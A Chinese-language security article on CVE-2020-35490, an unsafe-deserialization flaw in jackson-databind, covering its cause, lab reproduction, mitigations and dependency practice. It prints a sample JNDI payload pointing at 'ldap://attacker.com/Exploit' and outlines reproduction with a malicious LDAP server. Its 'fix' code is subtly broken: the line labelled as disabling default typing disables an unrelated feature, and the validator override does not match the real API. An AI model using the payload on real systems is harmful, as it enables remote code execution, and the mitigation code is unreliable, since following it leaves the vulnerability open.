一、漏洞背景与影响范围
2020年12月17日,NVD披露了编号为CVE-2020-35490的高危漏洞,该漏洞存在于主流Java对象映射库FasterXML jackson-databind的2.9.10.8版本之前。作为Java生态中最广泛使用的JSON/XML数据处理库,其反序列化机制存在设计缺陷,导致攻击者可利用特定第三方组件实现远程代码执行。
漏洞影响范围覆盖所有启用enableDefaultTyping配置的2.x版本,核心风险在于当处理包含恶意构造的PerUserPoolDataSource等对象时,会触发JNDI(Java Naming and Directory Interface)注入攻击。根据CVSS 3.1评分标准,该漏洞获得8.1分(高危),主要特征包括:
- 远程利用可能性(Remote)
- 高攻击复杂度(需构造特定数据流)
- 无需认证的攻击路径
二、漏洞技术原理剖析
1. 反序列化机制缺陷
jackson-databind在反序列化过程中,当启用enableDefaultTyping时,会自动解析JSON中的@type字段确定目标类。攻击者可构造包含恶意类路径的JSON数据,例如:
{"@type": "org.apache.commons.dbcp2.datasources.PerUserPoolDataSource","dataSourceName": "ldap://attacker.com/Exploit","factory": "com.sun.jndi.rmi.registry.RegistryContextFactory"}
库在解析时会实例化指定类并调用其setter方法,若该类存在可利用的gadget chain(如通过JNDI加载远程类),即可实现代码执行。
2. 第三方组件风险传导
漏洞利用依赖两个关键条件:
- 危险类存在:目标系统需包含
commons-dbcp2等存在JNDI注入风险的库 - 默认类型启用:
ObjectMapper配置中enableDefaultTyping为true
这种设计缺陷属于典型的”不安全反序列化”问题,其本质是类型信息处理与业务逻辑解耦不足,导致攻击者可绕过白名单机制直接控制对象创建流程。
三、攻击链复现与防御
1. 攻击场景模拟
在实验室环境中,通过以下步骤可复现漏洞:
- 搭建恶意LDAP服务(使用
marshalsec工具) - 构造包含JNDI引用 payload 的JSON数据
- 启动启用默认类型的Jackson服务端点
- 发送恶意请求触发反序列化
2. 多层次防御方案
2.1 配置优化(推荐指数★★★★★)
最佳实践:完全禁用默认类型处理
ObjectMapper mapper = new ObjectMapper();// 2.9.x版本禁用方式mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);// 替代方案:使用明确的PolymorphicTypeValidatormapper.activateDefaultTyping(new PolymorphicTypeValidator.Base() {@Overridepublic boolean isValidType(DeserializationConfig config,JavaType baseType,JavaType subType) {// 仅允许白名单中的类return allowedClasses.contains(subType.getRawClass());}});
2.2 版本升级策略
| 版本区间 | 风险等级 | 修复方案 |
|---|---|---|
| <2.9.10.8 | 高危 | 升级至2.9.10.8+或3.x最新版 |
| 2.10.x | 中危 | 需额外应用补丁 |
| 3.x | 低危 | 默认启用更严格的类型验证 |
2.3 运行时防护
建议集成以下安全组件:
- RASP防护:通过字节码增强技术监控反序列化操作
- 网络隔离:限制JNDI查询仅允许内网访问
- 日志审计:记录所有反序列化操作及异常
四、企业级安全实践
1. 依赖管理最佳实践
- 最小化依赖:移除未使用的
commons-dbcp2等库 - 版本锁定:在构建工具中固定Jackson版本
<!-- Maven示例 --><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>[2.9.10.8,)</version></dependency>
2. 安全开发规范
- 禁止反序列化用户输入:所有外部数据必须经过验证
- 类型白名单机制:仅允许特定业务类参与反序列化
- 异常处理:捕获
InvalidDefinitionException等异常
3. 持续监控方案
- SCA工具扫描:定期检测依赖库中的已知漏洞
- 流量分析:监控异常JSON结构请求
- 沙箱测试:对新引入的第三方库进行反序列化安全测试
五、行业应对与演进
该漏洞促使行业重新审视反序列化安全,主要发展趋势包括:
- 默认安全配置:新版本Jackson默认禁用危险功能
- 标准化防护:OWASP推出反序列化防护指南
- 语言级改进:Java 17引入密封类(Sealed Classes)限制继承
开发者应持续关注CVE数据库,建立包含静态分析、动态检测、运行时防护的立体防御体系。对于历史系统,建议采用”升级+隔离+监控”的组合策略逐步迁移至安全架构。
结语
CVE-2020-35490漏洞再次证明,反序列化安全需要从设计阶段就纳入考量。通过合理配置类型验证机制、严格管控第三方依赖、部署多层次防护措施,可有效降低此类漏洞的利用风险。建议企业建立安全开发生命周期(SDL)流程,将反序列化安全检查作为代码审查的必查项。